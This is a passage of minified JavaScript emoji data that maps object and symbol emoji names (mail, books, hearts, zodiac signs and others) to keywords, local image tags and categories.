alt="\ud83c\udf8e" src="1f38e.png"/>',fitzpatrick_scale:!1,category:"objects"},wind_chime:{keywords:["nature","ding","spring","bell"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf90" src="1f390.png"/>',fitzpatrick_scale:!1,category:"objects"},crossed_flags:{keywords:["japanese","nation","country","border"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf8c" src="1f38c.png"/>',fitzpatrick_scale:!1,category:"objects"},izakaya_lantern:{keywords:["light","paper","halloween","spooky"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfee" src="1f3ee.png"/>',fitzpatrick_scale:!1,category:"objects"},red_envelope:{keywords:["gift"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde7" src="1f9e7.png"/>',fitzpatrick_scale:!1,category:"objects"},email:{keywords:["letter","postal","inbox","communication"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2709\ufe0f" src="2709.png"/>',fitzpatrick_scale:!1,category:"objects"},envelope_with_arrow:{keywords:["email","communication"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce9" src="1f4e9.png"/>',fitzpatrick_scale:!1,category:"objects"},incoming_envelope:{keywords:["email","inbox"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce8" src="1f4e8.png"/>',fitzpatrick_scale:!1,category:"objects"},"e-mail":{keywords:["communication","inbox"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce7" src="1f4e7.png"/>',fitzpatrick_scale:!1,category:"objects"},love_letter:{keywords:["email","like","affection","envelope","valentines"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc8c" src="1f48c.png"/>',fitzpatrick_scale:!1,category:"objects"},postbox:{keywords:["email","letter","envelope"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcee" src="1f4ee.png"/>',fitzpatrick_scale:!1,category:"objects"},mailbox_closed:{keywords:["email","communication","inbox"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcea" src="1f4ea.png"/>',fitzpatrick_scale:!1,category:"objects"},mailbox:{keywords:["email","inbox","communication"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udceb" src="1f4eb.png"/>',fitzpatrick_scale:!1,category:"objects"},mailbox_with_mail:{keywords:["email","inbox","communication"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcec" src="1f4ec.png"/>',fitzpatrick_scale:!1,category:"objects"},mailbox_with_no_mail:{keywords:["email","inbox"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udced" src="1f4ed.png"/>',fitzpatrick_scale:!1,category:"objects"},package:{keywords:["mail","gift","cardboard","box","moving"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce6" src="1f4e6.png"/>',fitzpatrick_scale:!1,category:"objects"},postal_horn:{keywords:["instrument","music"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcef" src="1f4ef.png"/>',fitzpatrick_scale:!1,category:"objects"},inbox_tray:{keywords:["email","documents"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce5" src="1f4e5.png"/>',fitzpatrick_scale:!1,category:"objects"},outbox_tray:{keywords:["inbox","email"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce4" src="1f4e4.png"/>',fitzpatrick_scale:!1,category:"objects"},scroll:{keywords:["documents","ancient","history","paper"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcdc" src="1f4dc.png"/>',fitzpatrick_scale:!1,category:"objects"},page_with_curl:{keywords:["documents","office","paper"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc3" src="1f4c3.png"/>',fitzpatrick_scale:!1,category:"objects"},bookmark_tabs:{keywords:["favorite","save","order","tidy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd1" src="1f4d1.png"/>',fitzpatrick_scale:!1,category:"objects"},receipt:{keywords:["accounting","expenses"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddfe" src="1f9fe.png"/>',fitzpatrick_scale:!1,category:"objects"},bar_chart:{keywords:["graph","presentation","stats"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcca" src="1f4ca.png"/>',fitzpatrick_scale:!1,category:"objects"},chart_with_upwards_trend:{keywords:["graph","presentation","stats","recovery","business","economics","money","sales","good","success"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc8" src="1f4c8.png"/>',fitzpatrick_scale:!1,category:"objects"},chart_with_downwards_trend:{keywords:["graph","presentation","stats","recession","business","economics","money","sales","bad","failure"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc9" src="1f4c9.png"/>',fitzpatrick_scale:!1,category:"objects"},page_facing_up:{keywords:["documents","office","paper","information"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc4" src="1f4c4.png"/>',fitzpatrick_scale:!1,category:"objects"},date:{keywords:["calendar","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc5" src="1f4c5.png"/>',fitzpatrick_scale:!1,category:"objects"},calendar:{keywords:["schedule","date","planning"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc6" src="1f4c6.png"/>',fitzpatrick_scale:!1,category:"objects"},spiral_calendar:{keywords:["date","schedule","planning"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddd3" src="1f5d3.png"/>',fitzpatrick_scale:!1,category:"objects"},card_index:{keywords:["business","stationery"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc7" src="1f4c7.png"/>',fitzpatrick_scale:!1,category:"objects"},card_file_box:{keywords:["business","stationery"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddc3" src="1f5c3.png"/>',fitzpatrick_scale:!1,category:"objects"},ballot_box:{keywords:["election","vote"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddf3" src="1f5f3.png"/>',fitzpatrick_scale:!1,category:"objects"},file_cabinet:{keywords:["filing","organizing"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddc4" src="1f5c4.png"/>',fitzpatrick_scale:!1,category:"objects"},clipboard:{keywords:["stationery","documents"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udccb" src="1f4cb.png"/>',fitzpatrick_scale:!1,category:"objects"},spiral_notepad:{keywords:["memo","stationery"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddd2" src="1f5d2.png"/>',fitzpatrick_scale:!1,category:"objects"},file_folder:{keywords:["documents","business","office"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc1" src="1f4c1.png"/>',fitzpatrick_scale:!1,category:"objects"},open_file_folder:{keywords:["documents","load"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc2" src="1f4c2.png"/>',fitzpatrick_scale:!1,category:"objects"},card_index_dividers:{keywords:["organizing","business","stationery"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddc2" src="1f5c2.png"/>',fitzpatrick_scale:!1,category:"objects"},newspaper_roll:{keywords:["press","headline"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddde" src="1f5de.png"/>',fitzpatrick_scale:!1,category:"objects"},newspaper:{keywords:["press","headline"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf0" src="1f4f0.png"/>',fitzpatrick_scale:!1,category:"objects"},notebook:{keywords:["stationery","record","notes","paper","study"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd3" src="1f4d3.png"/>',fitzpatrick_scale:!1,category:"objects"},closed_book:{keywords:["read","library","knowledge","textbook","learn"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd5" src="1f4d5.png"/>',fitzpatrick_scale:!1,category:"objects"},green_book:{keywords:["read","library","knowledge","study"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd7" src="1f4d7.png"/>',fitzpatrick_scale:!1,category:"objects"},blue_book:{keywords:["read","library","knowledge","learn","study"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd8" src="1f4d8.png"/>',fitzpatrick_scale:!1,category:"objects"},orange_book:{keywords:["read","library","knowledge","textbook","study"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd9" src="1f4d9.png"/>',fitzpatrick_scale:!1,category:"objects"},notebook_with_decorative_cover:{keywords:["classroom","notes","record","paper","study"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd4" src="1f4d4.png"/>',fitzpatrick_scale:!1,category:"objects"},ledger:{keywords:["notes","paper"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd2" src="1f4d2.png"/>',fitzpatrick_scale:!1,category:"objects"},books:{keywords:["literature","library","study"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcda" src="1f4da.png"/>',fitzpatrick_scale:!1,category:"objects"},open_book:{keywords:["book","read","library","knowledge","literature","learn","study"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd6" src="1f4d6.png"/>',fitzpatrick_scale:!1,category:"objects"},safety_pin:{keywords:["diaper"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf7" src="1f9f7.png"/>',fitzpatrick_scale:!1,category:"objects"},link:{keywords:["rings","url"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd17" src="1f517.png"/>',fitzpatrick_scale:!1,category:"objects"},paperclip:{keywords:["documents","stationery"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcce" src="1f4ce.png"/>',fitzpatrick_scale:!1,category:"objects"},paperclips:{keywords:["documents","stationery"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd87" src="1f587.png"/>',fitzpatrick_scale:!1,category:"objects"},scissors:{keywords:["stationery","cut"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2702\ufe0f" src="2702.png"/>',fitzpatrick_scale:!1,category:"objects"},triangular_ruler:{keywords:["stationery","math","architect","sketch"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd0" src="1f4d0.png"/>',fitzpatrick_scale:!1,category:"objects"},straight_ruler:{keywords:["stationery","calculate","length","math","school","drawing","architect","sketch"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udccf" src="1f4cf.png"/>',fitzpatrick_scale:!1,category:"objects"},abacus:{keywords:["calculation"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddee" src="1f9ee.png"/>',fitzpatrick_scale:!1,category:"objects"},pushpin:{keywords:["stationery","mark","here"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udccc" src="1f4cc.png"/>',fitzpatrick_scale:!1,category:"objects"},round_pushpin:{keywords:["stationery","location","map","here"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udccd" src="1f4cd.png"/>',fitzpatrick_scale:!1,category:"objects"},triangular_flag_on_post:{keywords:["mark","milestone","place"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea9" src="1f6a9.png"/>',fitzpatrick_scale:!1,category:"objects"},white_flag:{keywords:["losing","loser","lost","surrender","give up","fail"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff3" src="1f3f3.png"/>',fitzpatrick_scale:!1,category:"objects"},black_flag:{keywords:["pirate"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff4" src="1f3f4.png"/>',fitzpatrick_scale:!1,category:"objects"},rainbow_flag:{keywords:["flag","rainbow","pride","gay","lgbt","glbt","queer","homosexual","lesbian","bisexual","transgender"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff3\ufe0f\u200d\ud83c\udf08" src="1f3f3-fe0f-200d-1f308.png"/>',fitzpatrick_scale:!1,category:"objects"},closed_lock_with_key:{keywords:["security","privacy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd10" src="1f510.png"/>',fitzpatrick_scale:!1,category:"objects"},lock:{keywords:["security","password","padlock"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd12" src="1f512.png"/>',fitzpatrick_scale:!1,category:"objects"},unlock:{keywords:["privacy","security"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd13" src="1f513.png"/>',fitzpatrick_scale:!1,category:"objects"},lock_with_ink_pen:{keywords:["security","secret"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd0f" src="1f50f.png"/>',fitzpatrick_scale:!1,category:"objects"},pen:{keywords:["stationery","writing","write"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd8a" src="1f58a.png"/>',fitzpatrick_scale:!1,category:"objects"},fountain_pen:{keywords:["stationery","writing","write"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd8b" src="1f58b.png"/>',fitzpatrick_scale:!1,category:"objects"},black_nib:{keywords:["pen","stationery","writing","write"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2712\ufe0f" src="2712.png"/>',fitzpatrick_scale:!1,category:"objects"},memo:{keywords:["write","documents","stationery","pencil","paper","writing","legal","exam","quiz","test","study","compose"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcdd" src="1f4dd.png"/>',fitzpatrick_scale:!1,category:"objects"},pencil2:{keywords:["stationery","write","paper","writing","school","study"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u270f\ufe0f" src="270f.png"/>',fitzpatrick_scale:!1,category:"objects"},crayon:{keywords:["drawing","creativity"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd8d" src="1f58d.png"/>',fitzpatrick_scale:!1,category:"objects"},paintbrush:{keywords:["drawing","creativity","art"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd8c" src="1f58c.png"/>',fitzpatrick_scale:!1,category:"objects"},mag:{keywords:["search","zoom","find","detective"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd0d" src="1f50d.png"/>',fitzpatrick_scale:!1,category:"objects"},mag_right:{keywords:["search","zoom","find","detective"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd0e" src="1f50e.png"/>',fitzpatrick_scale:!1,category:"objects"},heart:{keywords:["love","like","valentines"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2764\ufe0f" src="2764.png"/>',fitzpatrick_scale:!1,category:"symbols"},orange_heart:{keywords:["love","like","affection","valentines"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde1" src="1f9e1.png"/>',fitzpatrick_scale:!1,category:"symbols"},yellow_heart:{keywords:["love","like","affection","valentines"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc9b" src="1f49b.png"/>',fitzpatrick_scale:!1,category:"symbols"},green_heart:{keywords:["love","like","affection","valentines"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc9a" src="1f49a.png"/>',fitzpatrick_scale:!1,category:"symbols"},blue_heart:{keywords:["love","like","affection","valentines"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc99" src="1f499.png"/>',fitzpatrick_scale:!1,category:"symbols"},purple_heart:{keywords:["love","like","affection","valentines"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc9c" src="1f49c.png"/>',fitzpatrick_scale:!1,category:"symbols"},black_heart:{keywords:["evil"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udda4" src="1f5a4.png"/>',fitzpatrick_scale:!1,category:"symbols"},broken_heart:{keywords:["sad","sorry","break","heart","heartbreak"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc94" src="1f494.png"/>',fitzpatrick_scale:!1,category:"symbols"},heavy_heart_exclamation:{keywords:["decoration","love"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2763" src="2763.png"/>',fitzpatrick_scale:!1,category:"symbols"},two_hearts:{keywords:["love","like","affection","valentines","heart"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc95" src="1f495.png"/>',fitzpatrick_scale:!1,category:"symbols"},revolving_hearts:{keywords:["love","like","affection","valentines"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc9e" src="1f49e.png"/>',fitzpatrick_scale:!1,category:"symbols"},heartbeat:{keywords:["love","like","affection","valentines","pink","heart"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc93" src="1f493.png"/>',fitzpatrick_scale:!1,category:"symbols"},heartpulse:{keywords:["like","love","affection","valentines","pink"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc97" src="1f497.png"/>',fitzpatrick_scale:!1,category:"symbols"},sparkling_heart:{keywords:["love","like","affection","valentines"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc96" src="1f496.png"/>',fitzpatrick_scale:!1,category:"symbols"},cupid:{keywords:["love","like","heart","affection","valentines"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc98" src="1f498.png"/>',fitzpatrick_scale:!1,category:"symbols"},gift_heart:{keywords:["love","valentines"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc9d" src="1f49d.png"/>',fitzpatrick_scale:!1,category:"symbols"},heart_decoration:{keywords:["purple-square","love","like"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc9f" src="1f49f.png"/>',fitzpatrick_scale:!1,category:"symbols"},peace_symbol:{keywords:["hippie"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u262e" src="262e.png"/>',fitzpatrick_scale:!1,category:"symbols"},latin_cross:{keywords:["christianity"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u271d" src="271d.png"/>',fitzpatrick_scale:!1,category:"symbols"},star_and_crescent:{keywords:["islam"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u262a" src="262a.png"/>',fitzpatrick_scale:!1,category:"symbols"},om:{keywords:["hinduism","buddhism","sikhism","jainism"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd49" src="1f549.png"/>',fitzpatrick_scale:!1,category:"symbols"},wheel_of_dharma:{keywords:["hinduism","buddhism","sikhism","jainism"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2638" src="2638.png"/>',fitzpatrick_scale:!1,category:"symbols"},star_of_david:{keywords:["judaism"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2721" src="2721.png"/>',fitzpatrick_scale:!1,category:"symbols"},six_pointed_star:{keywords:["purple-square","religion","jewish","hexagram"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd2f" src="1f52f.png"/>',fitzpatrick_scale:!1,category:"symbols"},menorah:{keywords:["hanukkah","candles","jewish"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd4e" src="1f54e.png"/>',fitzpatrick_scale:!1,category:"symbols"},yin_yang:{keywords:["balance"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u262f" src="262f.png"/>',fitzpatrick_scale:!1,category:"symbols"},orthodox_cross:{keywords:["suppedaneum","religion"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2626" src="2626.png"/>',fitzpatrick_scale:!1,category:"symbols"},place_of_worship:{keywords:["religion","church","temple","prayer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uded0" src="1f6d0.png"/>',fitzpatrick_scale:!1,category:"symbols"},ophiuchus:{keywords:["sign","purple-square","constellation","astrology"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26ce" src="26ce.png"/>',fitzpatrick_scale:!1,category:"symbols"},aries:{keywords:["sign","purple-square","zodiac","astrology"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2648" src="2648.png"/>',fitzpatrick_scale:!1,category:"symbols"},taurus:{keywords:["purple-square","sign","zodiac","astrology"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2649" src="2649.png"/>',fitzpatrick_scale:!1,category:"symbols"},gemini:{keywords:["sign","zodiac","purple-square","astrology"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u264a" src="264a.png"/>',fitzpatrick_scale:!1,category:"symbols"},cancer:{keywords:["sign","zodiac","purple-square","astrology"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u264b" src="264b.png"/>',fitzpatrick_scale:!1,category:"symbols"},leo:{keywords:["sign","purple-square","zodiac","astrology"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u264c" src="264c.png"/>',fitzpatrick_scale:!1,category:"symbols"},virgo:{keywords:["sign","zodiac","purple-square","astrology"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u264d" src="264d.png"/>',fitzpatrick_scale:!1,category:"symbols"},libra:{keywords:["sign","purple-square","zodiac","astrology"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u264e" src="264e.png"/>',fitzpatrick_scale:!1,category:"symbols"},scorpius:{keywords:["sign","zodiac","purple-square","astrology","scorpio"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u264f" src="264f.png"/>',fitzpatrick_scale:!1,category:"symbols"},sagittarius:{keywords:["sign","zodiac","purple-square","astrology"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2650" src="2650.png"/>',fitzpatrick_scale:!1,category:"symbols"},capricorn:{keywords:["sign","zodiac","purple-square","astrology"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2651" src="2651.png"/>',fitzpatrick_scale:!1,category:"symbols"},aquarius:{keywords:["sign","purple-square","zodiac","astrology"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2652" src="2652.png"/>',fitzpatrick_scale:!1,category:"symbols"},pisces:{keywords:["purple-square","sign","zodiac","astrology"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 